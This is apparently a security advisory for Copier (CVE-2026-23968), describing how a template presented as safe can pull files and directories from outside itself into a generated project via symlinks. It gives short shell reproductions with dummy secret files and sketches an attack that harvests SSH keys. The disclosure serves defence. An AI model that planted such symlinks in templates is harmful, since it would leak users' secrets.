Copier suggests that it's safe to generate a project from a safe template, i.e. one that doesn't use unsafe features like custom Jinja extensions which would require passing the --UNSAFE,--trust flag. As it turns out, a safe template can currently include arbitrary files/directories outside the local template clone location by using symlinks along with _preserve_symlinks: false (which is Copier's default setting).
Imagine, e.g., a malicious template author who creates a template that reads SSH keys or other secrets from well-known locations and hopes for a user to push the generated project to a public location like github.com where the template author can extract the secrets.
Reproducible example:
Illegally include a file in the generated project via symlink resolution:
```shell
echo "s3cr3t" > secret.txt
mkdir src/
pushd src/
ln -s ../secret.txt stolen-secret.txt
popd
uvx copier copy src/ dst/
cat dst/stolen-secret.txt
```
Illegally include a directory in the generated project via symlink resolution:
```shell
mkdir secrets/
pushd secrets/
echo "s3cr3t" > secret.txt
popd
mkdir src/
pushd src/
ln -s ../secrets stolen-secrets
popd
uvx copier copy src/ dst/
tree dst/
cat dst/stolen-secrets/secret.txt
```
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| Score | Percentile |
|---|---|
| 0.04% | 12.22% |
| Base score | Version | Severity | Vector |
|---|---|---|---|
| 5.5 | 3.1 | — |
|
| 6.8 | 4.0 | — |
|
| Type | Value |
|---|---|
| GHSA | GHSA-xjhm-gp88-8pfx ↗ |
| CVE | CVE-2026-23968 ↗ |
| CWE id | Name |
|---|---|
| CWE-61 | UNIX Symbolic Link (Symlink) Following |
Vulnerable version ranges and first patched releases as published by GitHub.
| Ecosystem | Package | Vulnerable range | First patched | Vulnerable functions |
|---|---|---|---|---|
| pip | copier | < 9.11.2 | 9.11.2 | — |